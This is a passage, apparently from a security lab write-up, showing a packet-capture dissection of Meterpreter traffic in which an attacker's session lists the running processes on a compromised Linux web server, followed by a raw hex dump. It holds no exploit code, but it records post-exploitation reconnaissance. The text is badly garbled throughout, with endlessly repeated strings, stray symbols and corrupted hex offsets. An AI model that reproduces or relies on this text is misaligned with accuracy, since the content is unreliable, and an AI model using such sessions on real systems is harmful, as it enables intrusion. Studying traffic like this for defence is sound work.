          Data: 0000000c000208fc000003140000000d00010412726f6f74... [Value] 202422 2020root20244/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd2024/usr/sbin/sshd20
Meterpreter protocol, TLV details
          Data: 0000003b400008ff0000000c000208fc000003190000000f... [TLV]
           Command: 0x0000003b [Length]: 59
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
          \texttt{Data: 0000000c000208fc000003190000000f000104126461656d... [Value] $$ $222222224$ daemon $$ $22222224$ daemon $$ $222222224$ daemon $$ $22222222224$ daemon $$ $2222222224$ daemon $$ $2222222224$ daemon $$ $222222224$ daemon $$ $2222222224$ daemon $$ $22222222224$ daemon $$ $222222222224$ daemon $$ $22222222224$ daemon $$ $22222222222222222$ daemon $$ $22222222222$ daemon $$ $2222222222$ daemon $$ $2222222222$ daemon $$ $222222222$ daemon $$ $22222222$ daemon $$ $222222222$ daemon $$ $222222222$ daemon $$ $222222222$ daemon $$ $22222222$ daemon $$ $2222222$ daemon $$ $222222$ daemon $$ $22222$ daemon $$ $222222$ daemon $$ $22222$ daemon $$ $22222$ daemon $$ $222222$ daemon $$ $222222$ daemo
Meterpreter protocol, TLV details
          Data: 0000003b400008ff0000000c000208fc0000031a0000000d... [TLV]
          Command: 0x0000003b [Length]: 59
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
          Data: 000000c000208fc0000031a0000000d0010412726f6f74... [Value] 222♠22 222root 22♠cron 22♠cron
Meterpreter protocol, TLV details
          Data: 0000006a400008ff0000000c000208fc0000032b00000000d... [TLV]
          Command: 0x0000006a [Length]: 106
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
```

```
Data: 0000000c000208fc0000032b00000000000010412726f6f74... [Value] P22 + 222root222 acpid; 22 acpid -c /etc/acpi/events -s /
var/run/acpid.socket
Meterpreter protocol, TLV details
   Data: 00000054400008ff0000000c000208fc000003940000000e... [TLV]
   Command: 0x00000054 [Length]: 84
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000003940000000e000104126d797371... [Value] 222♠2♠2222mysql222♠/usr/sbin/mysqld222♠/usr/sbin/mysqld
Meterpreter protocol, TLV details
   Data: 0000005e400008ff0000000c000208fc000003a70000000d... [TLV]
   Command: 0x0000005e [Length]: 94
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000003a7000000d00010412726f6f74... [Value] PPP ♦ ₽ DPProotPPP ♦ /usr/sbin/apache2#PP ♦ /usr/sbin/apache2#PP
k start
Meterpreter protocol, TLV details
   Data: 00000062400008ff0000000c000208fc000003b600000011... [TLV]
   Command: 0x00000062 [Length]: 98
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000003b600000011000104127777772d... [Value] 222 ♦ 2 € 2222www-data222 ♦ /usr/sbin/apache2#22 ♦ /usr/sbin/
apache2 -k start
Meterpreter protocol, TLV details
   Data: 00000062400008ff0000000c000208fc000003b700000011... [TLV]
   Command: 0x00000062 [Length]: 98
   Type: 0x400008ff [Type: Response]: TLV TYPE PROCESS GROUP
   Data: 0000000c000208fc000003b700000011000104127777772d... [Value] PPP & PPPPWwww-dataPPP & /usr/sbin/apache2#PP & /usr/sbin/
apache2 -k start
Meterpreter protocol, TLV details
   Data: 00000062400008ff0000000c000208fc000003b800000011... [TLV]
   Command: 0x00000062 [Length]: 98
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000003b800000011000104127777772d... [Value] EPP ♠ PPDDDwww-dataPPP ♠ /usr/sbin/apache2#PP ♠ /usr/sbin/
apache2 -k start
Meterpreter protocol, TLV details
   Data: 00000062400008ff0000000c000208fc000003b900000011... [TLV]
   Command: 0x00000062 [Length]: 98
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000003b900000011000104127777772d... [Value] 222 ♦ 2 € 2222www-data222 ♦ /usr/sbin/apache2#22 ♦ /usr/sbin/
apache2 -k start
Meterpreter protocol, TLV details
   Data: 00000062400008ff0000000c000208fc000003ba00000011... [TLV]
   Command: 0x00000062 [Length]: 98
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000003ba00000011000104127777772d... [Value] PPP & PPPPWwww-dataPPP & /usr/sbin/apache2#PP & /usr/sbin/
apache2 -k start
Meterpreter protocol, TLV details
   Data: 0000004a400008ff0000000c000208fc000003e00000000d... [TLV]
   Command: 0x0000004a [Length]: 74
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000003e00000000000010412726f6f74... [Value] 222♠2♠ 222root222♠/bin/login222♠/bin/login --
Meterpreter protocol, TLV details
   Data: 00000045400008ff0000000c000208fc000004790000000d... [TLV]
   Command: 0x00000045 [Length]: 69
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000004790000000d00010412726f6f74... [Value] PPP & Py PPProotPPP & [kauditd] PPP & [kauditd]
Meterpreter protocol, TLV details
   Data: 0000003f400008ff0000000c000208fc000004b40000000f... [TLV]
   Command: 0x0000003f [Length]: 63
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000004b40000000f000104126d617374... [Value] 222♦20c20master222♦-bash222♦-bash
Meterpreter protocol, TLV details
   Data: 0000003e400008ff0000000c000208fc0000004c30000000d... [TLV]
   Command: 0x0000003e [Length]: 62
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000004c30000000d00010412726f6f74... [Value] 222♦2♦ 222root 22♦sudo2224$sudo su
Meterpreter protocol, TLV details
   Data: 00000037400008ff0000000c000208fc000004c40000000d... [TLV]
   Command: 0x00000037 [Length]: 55
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000004c4000000d00010412726f6f74... [Value] 222 � 222root222 � su222 � su
Meterpreter protocol, TLV details
   Data: 0000003b400008ff0000000c000208fc000004c500000000d... [TLV]
   Command: 0x0000003b [Length]: 59
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Meterpreter protocol, TLV details
   Data: 00000062400008ff0000000c000208fc000004d500000011... [TLV]
   Command: 0x00000062 [Length]: 98
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000004d500000011000104127777772d... [Value] P2P ♦ P2DDDwww-dataPPP ♦ /usr/sbin/apache2#2P ♦ /usr/sbin/
apache2 -k start
Meterpreter protocol, TLV details
```

Data: 0000004f400008ff0000000c000208fc000004d70000000d... [TLV]

```
Command: 0x0000004f [Length]: 79
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000004d70000000d0010412726f6f74... [Value] 222♠2♠ 222root222♠[kworker/u2:1]222♠[kworker/u2:1]
Meterpreter protocol, TLV details
   Data: 00000062400008ff0000000c000208fc000004e500000011... [TLV]
   Command: 0x00000062 [Length]: 98
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000004e500000011000104127777772d... [Value] 222�2 22 222www-data222�4/usr/sbin/apache2#224/usr/sbin/
apache2 -k start
Meterpreter protocol, TLV details
   Data: 0000004f400008ff0000000c000208fc000004f80000000d... [TLV]
   Command: 0x0000004f [Length]: 79
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000004f80000000d0010412726f6f74... [Value] □□□���� □□□root□□□�[kworker/u2:0]□□□�[kworker/u2:0]
Meterpreter protocol, TLV details
   Data: 00000055400008ff0000000c000208fc000005040000000d... [TLV]
   Command: 0x00000055 [Length]: 85
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc00000504000000d00010412726f6f74... [Value] 222 ♦ 22 222root222 ♦ tcpdump$22 ♦ tcpdump -w captura_dwva.cap
Meterpreter protocol, TLV details
   Data: 0000006f400008ff0000000c000208fc00000505000000011... [TLV]
   Command: 0x0000006f [Length]: 111
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc0000050500000011000104127777772d... [Value] 222�22222www-data222�3sh?22�sh.-c ps ax -w -o pid,user,cmd
--no-header 2>/dev/null
Meterpreter protocol, TLV details
   Data: 0000005d400008ff0000000c000208fc00000050600000011... [TLV]
   Command: 0x0000005d [Length]: 93
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc0000050600000011000104127777772d... [Value] 222 ♦ 222222www-data222 ♦ ps - 22 ♦ ps ax -w -o pid,user,cmd --no-
header
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                     ..'....'oz...E.
0010 19 9e 0e c7 40 00 40 06 fc 84 0a 00 01 0a 0a 00
                                                     ....@.@......
.....\....x21..
0030 Oa fe 2f 9f 00 00 01 01 08 0a 00 0e ce a2 00 0a
                                                     ../.....
0040 75 af 00 00 19 6a 00 00 00 01 00 00 00 29 00 01
                                                     u....j.....)..
0050
     00 01 73 74 64 61 70 69 5f 73 79 73 5f 70 72 6f
                                                     ..stdapi_sys_pro
0060 63 65 73 73 5f 67 65 74 5f 70 72 6f 63 65 73 73
                                                     cess_get_process
0070 65 73 00 00 00 00 29 00 01 00 02 38 37 36 34 35
                                                     es....)....87645
0080 34 39 33 36 36 37 37 35 31 31 31 37 39 37 30 38
                                                     4936677511179708
0090
     32 36 30 39 33 39 38 31 37 30 39 00 00 00 00 47
                                                     26093981709....G
00a0 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 00 01
                                                     @.....
00b0 00 00 00 0d 00 01 04 12 72 6f 6f 74 00 00 00 00
                                                     ....root....
00c0 13 00 01 08 fd 2f 73 62 69 6e 2f 69 6e 69 74 00
                                                     ..../sbin/init.
00d0
     00 00 00 13 00 01 08 fe 2f 73 62 69 6e 2f 69 6e
                                                     ..../sbin/in
00e0 69 74 00 00 00 00 47 40 00 08 ff 00 00 00 0c 00
                                                     it....G@.....
00f0 02 08 fc 00 00 00 02 00 00 00 0d 00 01 04 12 72
                                                     . . . . . . . . . . . . . . r
0100 6f 6f 74 00 00 00 00 13 00 01 08 fd 5b 6b 74 68
                                                     \mathtt{oot}.....[\mathsf{kth}
0110 72 65 61 64 64 5d 00 00 00 00 13 00 01 08 fe 5b
                                                     readd]....[
0120 6b 74 68 72 65 61 64 64 5d 00 00 00 00 4d 40 00
                                                     kthreadd]....M@.
0130 08 ff 00 00 00 0c 00 02 08 fc 00 00 00 03 00 00
     00 0d 00 01 04 12 72 6f 6f 74 00 00 00 00 16 00
0140
                                                     .....root.....
...[ksoftirqd/0]
0160 00 00 00 00 16 00 01 08 fe 5b 6b 73 6f 66 74 69
                                                     ....[ksofti
0170    72    71    64    2f    30    5d    00    00    00    4d    40    00    08    ff    00
                                                     rqd/0]....M@....
     00 00 0c 00 02 08 fc 00 00 00 04 00 00 00 0d 00
0180
                                                     . . . . . . . . . . . . . . . .
...root.....
01a0 5b 6b 77 6f 72 6b 65 72 2f 30 3a 30 5d 00 00 00
                                                     [kworker/0:0]...
                                                     .....[kworker/0
01b0 00 16 00 01 08 fe 5b 6b 77 6f 72 6b 65 72 2f 30
01c0
     3a 30 5d 00 00 00 00 4f 40 00 08 ff 00 00 00 0c
                                                     :0]....0@.....
     00 02 08 fc 00 00 00 05 00 00 00 0d 00 01 04 12
01d0
                                                      . . . . . . . . . . . . . . . .
01e0 72 6f 6f 74 00 00 00 00 17 00 01 08 fd 5b 6b 77
                                                     root.....[kw
01f0  6f 72 6b 65 72 2f 30 3a 30 48 5d 00 00 00 00 17
                                                     orker/0:0H]....
                                                     ....[kworker/0:0
0200
     00 01 08 fe 5b 6b 77 6f 72 6b 65 72 2f 30 3a 30
0210 48 5d 00 00 00 00 49 40 00 08 ff 00 00 00 0c 00
                                                     H]....I@.....
....r
0230 6f 6f 74 00 00 00 00 14 00 01 08 fd 5b 72 63 75
                                                     oot....[rcu
     5f 73 63 68 65 64 5d 00 00 00 00 14 00 01 08 fe
0240
                                                      sched].....
     5b 72 63 75 5f 73 63 68 65 64 5d 00 00 00 00 43
0250
                                                     [rcu_sched]....C
0260 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 00 08
                                                     @.....
     00 00 00 0d 00 01 04 12 72 6f 6f 74 00 00 00 00
0270
                                                     ....root....
                                                     ....[rcu_bh]...
0280
     11 00 01 08 fd 5b 72 63 75 5f 62 68 5d 00 00 00
0290 00 11 00 01 08 fe 5b 72 63 75 5f 62 68 5d 00 00
                                                     .....[rcu_bh]..
02a0 00 00 45 40 00 08 ff 00 00 00 0c 00 02 08 fc 00
                                                     ..E@.....
     00 00 09 00 00 00 0d 00 01 04 12 72 6f 6f 74 00
                                                     .....root.
02b0
02c0
     00 00 00 12 00 01 08 fd 5b 72 63 75 6f 73 2f 30
                                                      .....[rcuos/0
02d0 5d 00 00 00 00 12 00 01 08 fe 5b 72 63 75 6f 73
                                                     ].....[rcuos
02e0
     2f 30 5d 00 00 00 00 45 40 00 08 ff 00 00 00 0c
                                                     /0]....E@.....
02f0
     00 02 08 fc 00 00 00 0a 00 00 00 0d 00 01 04 12
```

```
0300 72 6f 6f 74 00 00 00 00 12 00 01 08 fd 5b 72 63
                                                       root.....[rc
     75 6f 62 2f 30 5d 00 00 00 00 12 00 01 08 fe 5b
0310
                                                       uob/0]....[
     72 63 75 6f 62 2f 30 5d 00 00 00 00 4d 40 00 08
                                                       rcuob/0]....M@..
0320
     ff 00 00 00 0c 00 02 08 fc 00 00 00 0b 00 00 00
9339
0340
     0d 00 01 04 12 72 6f 6f 74 00 00 00 00 16 00 01
                                                       .....root.....
     08 fd 5b 6d 69 67 72 61 74 69 6f 6e 2f 30 5d 00
                                                       ..[migration/0].
0350
                                                       ....[migrati
0360
     00 00 00 16 00 01 08 fe 5b 6d 69 67 72 61 74 69
                                                       on/0]....K@.....
0370
     6f 6e 2f 30 5d 00 00 00 00 4b 40 00 08 ff 00 00
0380
     00 0c 00 02 08 fc 00 00 00 0c 00 00 00 0d 00 01
                                                       . . . . . . . . . . . . . . . . . . .
                                                       ..root.....[
     04 12 72 6f 6f 74 00 00 00 00 15 00 01 08 fd 5b
0390
03a0
     77 61 74 63 68 64 6f 67 2f 30 5d 00 00 00 00 15
                                                       watchdog/0]....
03b0
     00 01 08 fe 5b 77 61 74 63 68 64 6f 67 2f 30 5d
                                                       ....[watchdog/0]
03c0
     00 00 00 00 45 40 00 08 ff 00 00 00 0c 00 02 08
                                                       ....E@.....
03d0
     fc 00 00 00 0d 00 00 00 0d 00 01 04 12 72 6f 6f
                                                       .....roo
     74 00 00 00 00 12 00 01 08 fd 5b 6b 68 65 6c 70
                                                       t....[khelp
03e0
03f0
     65 72 5d 00 00 00 00 12 00 01 08 fe 5b 6b 68 65
                                                       er]....[khe
     6c 70 65 72 5d 00 00 00 00 49 40 00 08 ff 00 00
9499
                                                       lper]....I@.....
0410
     00 0c 00 02 08 fc 00 00 00 0e 00 00 00 0d 00 01
                                                       . . . . . . . . . . . . . . . .
                                                       ..root....[
     04 12 72 6f 6f 74 00 00 00 00 14 00 01 08 fd 5b
9429
     6b 64 65 76 74 6d 70 66 73 5d 00 00 00 00 14 00
                                                       kdevtmpfs].....
0430
9449
     01 08 fe 5b 6b 64 65 76 74 6d 70 66 73 5d 00 00
                                                       ...[kdevtmpfs]..
     00 00 41 40 00 08 ff 00 00 00 0c 00 02 08 fc 00
0450
                                                       ..A@.....
     00 00 0f 00 00 00 0d 00 01 04 12 72 6f 6f 74 00
                                                       ....root.
9469
0470
     00 00 00 10 00 01 08 fd 5b 6e 65 74 6e 73 5d 00
                                                       .....[netns].
     00 00 00 10 00 01 08 fe 5b 6e 65 74 6e 73 5d 00
                                                       .....[netns].
0480
0490
     00 00 00 3f 40 00 08 ff 00 00 00 0c 00 02 08 fc
                                                       ...?@.....
     00 00 00 10 00 00 00 0d 00 01 04 12 72 6f 6f 74
                                                       ....root
04a0
04b0
     00 00 00 00 0f 00 01 08 fd 5b 70 65 72 66 5d 00
                                                       ....[perf].
     00 00 00 0f 00 01 08 fe 5b 70 65 72 66 5d 00 00
                                                       ....[perf]..
04c0
     00 00 4b 40 00 08 ff 00 00 00 0c 00 02 08 fc 00
04d0
                                                       ..K@.....
04e0
     00 00 11 00 00 00 0d 00 01 04 12 72 6f 6f 74 00
                                                       .....root.
                                                       .....[khungta
04f0
     00 00 00 15 00 01 08 fd 5b 6b 68 75 6e 67 74 61
9599
     73 6b 64 5d 00 00 00 00 15 00 01 08 fe 5b 6b 68
                                                       \mathsf{skd}] \dots \dots [\mathsf{kh}
     75 6e 67 74 61 73 6b 64 5d 00 00 00 00 49 40 00
0510
                                                       ungtaskd]....I@.
0520
     08 ff 00 00 00 0c 00 02 08 fc 00 00 00 12 00 00
                                                       . . . . . . . . . . . . . . . .
     00 0d 00 01 04 12 72 6f 6f 74 00 00 00 00 14 00
0530
                                                       ....root....
0540
     01 08 fd 5b 77 72 69 74 65 62 61 63 6b 5d 00 00
                                                       ...[writeback]..
     00 00 14 00 01 08 fe 5b 77 72 69 74 65 62 61 63
0550
                                                       .....[writebac
     6b 5d 00 00 00 00 3f 40 00 08 ff 00 00 00 0c 00
0560
                                                       k]....?@.....
     02 08 fc 00 00 00 13 00 00 00 0d 00 01 04 12 72
9579
                                                       ....r
0580
     6f 6f 74 00 00 00 00 0f 00 01 08 fd 5b 6b 73 6d
                                                       oot.....[ksm
     64 5d 00 00 00 00 0f 00 01 08 fe 5b 6b 73 6d 64
                                                       d]....[ksmd
9599
05a0
     5d 00 00 00 00 43 40 00 08 ff 00 00 00 0c 00 02
                                                       ]....C@......
     08 fc 00 00 00 14 00 00 00 0d 00 01 04 12 72 6f
05b0
                                                       ....ro
     6f 74 00 00 00 00 11 00 01 08 fd 5b 63 72 79 70
05c0
                                                       ot....[cryp
     74 6f 5d 00 00 00 00 11 00 01 08 fe 5b 63 72 79
05d0
                                                       to]....[cry
05e0
     70 74 6f 5d 00 00 00 00 4d 40 00 08 ff 00 00 00
                                                       pto]....M@.....
     0c 00 02 08 fc 00 00 00 15 00 00 00 0d 00 01 04
05f0
                                                       . . . . . . . . . . . . . . . .
0600
     12 72 6f 6f 74 00 00 00 00 16 00 01 08 fd 5b 6b
                                                       .root....[k
0610
     69 6e 74 65 67 72 69 74 79 64 5d 00 00 00 00 16
                                                       integrityd]....
0620
     00 01 08 fe 5b 6b 69 6e 74 65 67 72 69 74 79 64
                                                       ....[kintegrityd
0630
     5d 00 00 00 00 43 40 00 08 ff 00 00 00 0c 00 02
                                                       ]....C@......
     08 fc 00 00 00 16 00 00 00 0d 00 01 04 12 72 6f
0640
                                                       ....ro
0650
     6f 74 00 00 00 00 11 00 01 08 fd 5b 62 69 6f 73
                                                       ot.....[bios
     65 74 5d 00 00 00 00 11 00 01 08 fe 5b 62 69 6f
0660
                                                       et].....[bio
     73 65 74 5d 00 00 00 00 45 40 00 08 ff 00 00 00
0670
                                                       set]....E@.....
     0c 00 02 08 fc 00 00 00 17 00 00 00 0d 00 01 04
0680
0690
     12 72 6f 6f 74 00 00 00 00 12 00 01 08 fd 5b 6b
                                                       . \texttt{root}.....[\, k
                                                       blockd].....
     62 6c 6f 63 6b 64 5d 00 00 00 00 12 00 01 08 fe
96a9
     5b 6b 62 6c 6f 63 6b 64 5d 00 00 00 00 45 40 00
                                                       [kblockd]....E@.
06b0
     08 ff 00 00 00 0c 00 02 08 fc 00 00 00 18 00 00
06c0
                                                       . . . . . . . . . . . . . . . .
     00 0d 00 01 04 12 72 6f 6f 74 00 00 00 00 12 00
06d0
                                                       .....root.....
     01 08 fd 5b 61 74 61 5f 73 66 66 5d 00 00 00 00
06e0
                                                       ...[ata_sff]....
06f0
     12 00 01 08 fe 5b 61 74 61 5f 73 66 66 5d 00 00
                                                       .....[ata_sff]..
     00 00 3b 40 00 08 ff 00 00 00 0c 00 02 08 fc 00
0700
                                                       ..;@.....
0710
     00 00 19 00 00 00 0d 00 01 04 12 72 6f 6f 74 00
                                                       ....root.
     00 00 00 0d 00 01 08 fd 5b 6d 64 5d 00 00 00 00
                                                       ....[md]....
0720
0730
     0d 00 01 08 fe 5b 6d 64 5d 00 00 00 00 4b 40 00
                                                       \dots [md]\dots K@.
     08 ff 00 00 00 0c 00 02 08 fc 00 00 00 1a 00 00
0740
                                                       .....root.....
0750
     00 0d 00 01 04 12 72 6f 6f 74 00 00 00 00 15 00
0760
     01 08 fd 5b 64 65 76 66 72 65 71 5f 77 71 5d 00
                                                       ...[devfreq_wq].
     00 00 00 15 00 01 08 fe 5b 64 65 76 66 72 65 71
0770
                                                       .....[devfreq
0780
     5f 77 71 5d 00 00 00 00 4d 40 00 08 ff 00 00 00
                                                       _wq]....M@.....
0790
     0c 00 02 08 fc 00 00 00 1c 00 00 00 0d 00 01 04
07a0
     12 72 6f 6f 74 00 00 00 00 16 00 01 08 fd 5b 6b
                                                       .root....[k
     77 6f 72 6b 65 72 2f 30 3a 31 5d 00 00 00 00 16
07b0
                                                       worker/0:1].....
     00 01 08 fe 5b 6b 77 6f 72 6b 65 72 2f 30 3a 31
                                                       ....[kworker/0:1
07c0
     5d 00 00 00 00 45 40 00 08 ff 00 00 00 0c 00 02
07d0
                                                       ]....E@.....
     08 fc 00 00 00 1e 00 00 00 0d 00 01 04 12 72 6f
07e0
                                                       .....ro
     6f 74 00 00 00 00 12 00 01 08 fd 5b 6b 73 77 61
07f0
                                                       ot.....[kswa
0800
     70 64 30 5d 00 00 00 00 12 00 01 08 fe 5b 6b 73
                                                       pd0]....[ks
     77 61 70 64 30 5d 00 00 00 00 51 40 00 08 ff 00
0810
                                                       wapd0]....Q@....
     00 00 0c 00 02 08 fc 00 00 00 1f 00 00 00 0d 00
0820
...root.....
0840 5b 66 73 6e 6f 74 69 66 79 5f 6d 61 72 6b 5d 00
                                                       [fsnotify_mark].
```

```
0850 00 00 00 18 00 01 08 fe 5b 66 73 6e 6f 74 69 66
                                                       .....[fsnotif
     79 5f 6d 61 72 6b 5d 00 00 00 00 55 40 00 08 ff
9869
                                                       y_mark]....U@...
     00 00 00 0c 00 02 08 fc 00 00 00 20 00 00 00 0d
                                                       0870
     00 01 04 12 72 6f 6f 74 00 00 00 00 1a 00 01 08
                                                       ....root.....
0880
0890 fd 5b 65 63 72 79 70 74 66 73 2d 6b 74 68 72 65
                                                       .[ecryptfs-kthre
     61 5d 00 00 00 00 1a 00 01 08 fe 5b 65 63 72 79
08a0
                                                       a]....[ecry
08b0
     70 74 66 73 2d 6b 74 68 72 65 61 5d 00 00 00 00
                                                       ptfs-kthrea]....
     47 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 00
08c0
                                                       G@.....
08d0
     2c 00 00 00 0d 00 01 04 12 72 6f 6f 74 00 00 00
                                                       ,....root...
                                                       .....[kthrotld]
     00 13 00 01 08 fd 5b 6b 74 68 72 6f 74 6c 64 5d
08e0
08f0
     00 00 00 00 13 00 01 08 fe 5b 6b 74 68 72 6f 74
                                                        ....[kthrot
     6c 64 5d 00 00 00 00 55 40 00 08 ff 00 00 00 0c
                                                       ld]....U@.....
0900
9919
     00 02 08 fc 00 00 00 2d 00 00 00 0d 00 01 04 12
929
     72 6f 6f 74 00 00 00 00 1a 00 01 08 fd 5b 61 63
                                                       root.....[ac
     70 69 5f 74 68 65 72 6d 61 6c 5f 70 6d 5d 00 00
0930
                                                       pi_thermal_pm]..
0940
     00 00 1a 00 01 08 fe 5b 61 63 70 69 5f 74 68 65
                                                       .....[acpi_the
     72 6d 61 6c 5f 70 6d 5d 00 00 00 00 49 40 00 08
959
                                                       rmal_pm]....I@..
0960
     ff 00 00 00 0c 00 02 08 fc 00 00 00 2e 00 00 00
                                                       . . . . . . . . . . . . . . . .
     0d 00 01 04 12 72 6f 6f 74 00 00 00 00 14 00 01
979
                                                       ....root.....
                                                       ..[scsi_eh_0]...
     08 fd 5b 73 63 73 69 5f 65 68 5f 30 5d 00 00 00
0980
999
     00 14 00 01 08 fe 5b 73 63 73 69 5f 65 68 5f 30
                                                       .....[scsi_eh_0
     5d 00 00 00 00 4b 40 00 08 ff 00 00 00 0c 00 02
09a0
                                                       ]....K@.....
     08 fc 00 00 00 2f 00 00 00 0d 00 01 04 12 72 6f
99h9
                                                       ..../....ro
     6f 74 00 00 00 00 15 00 01 08 fd 5b 73 63 73 69
                                                       ot.....[scsi
09c0
     5f 74 6d 66 5f 30 5d 00 00 00 00 15 00 01 08 fe
09d0
                                                       _tmf_0].....
09e0
     5b 73 63 73 69 5f 74 6d 66 5f 30 5d 00 00 00 00
                                                       [scsi_tmf_0]....
     49 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 00
09f0
                                                       I@.....
0a00
     30 00 00 00 0d 00 01 04 12 72 6f 6f 74 00 00 00
                                                       0....root...
                                                       .....[scsi_eh_1
     00 14 00 01 08 fd 5b 73 63 73 69 5f 65 68 5f 31
0a10
0a20
     5d 00 00 00 00 14 00 01 08 fe 5b 73 63 73 69 5f
                                                       ].....[scsi_
0a30
     65 68 5f 31 5d 00 00 00 00 4b 40 00 08 ff 00 00
                                                       eh_1]....K@.....
                                                       .....1.....
0a40
     00 0c 00 02 08 fc 00 00 00 31 00 00 00 0d 00 01
0a50
     04 12 72 6f 6f 74 00 00 00 00 15 00 01 08 fd 5b
                                                       ..root....[
     73 63 73 69 5f 74 6d 66 5f 31 5d 00 00 00 00 15
0a60
                                                       scsi_tmf_1]....
0a70
     00 01 08 fe 5b 73 63 73 69 5f 74 6d 66 5f 31 5d
                                                       ....[scsi_tmf_1]
0a80
     00 00 00 00 51 40 00 08 ff 00 00 00 0c 00 02 08
                                                       ....Q@.....
0a90
     fc 00 00 00 36 00 00 00 0d 00 01 04 12 72 6f 6f
                                                       ....6.....roo
     74 00 00 00 00 18 00 01 08 fd 5b 69 70 76 36 5f
0aa0
                                                       t.....[ipv6_
                                                       addrconf].....
     61 64 64 72 63 6f 6e 66 5d 00 00 00 00 18 00 01
0ab0
     08 fe 5b 69 70 76 36 5f 61 64 64 72 63 6f 6e 66
                                                       ..[ipv6_addrconf
0ac0
0ad0
     5d 00 00 00 00 45 40 00 08 ff 00 00 00 0c 00 02
                                                       ]....E@.....
     08 fc 00 00 00 4a 00 00 00 0d 00 01 04 12 72 6f
                                                       .....J.....ro
0ae0
0af0
     6f 74 00 00 00 00 12 00 01 08 fd 5b 64 65 66 65
                                                       ot....[defe
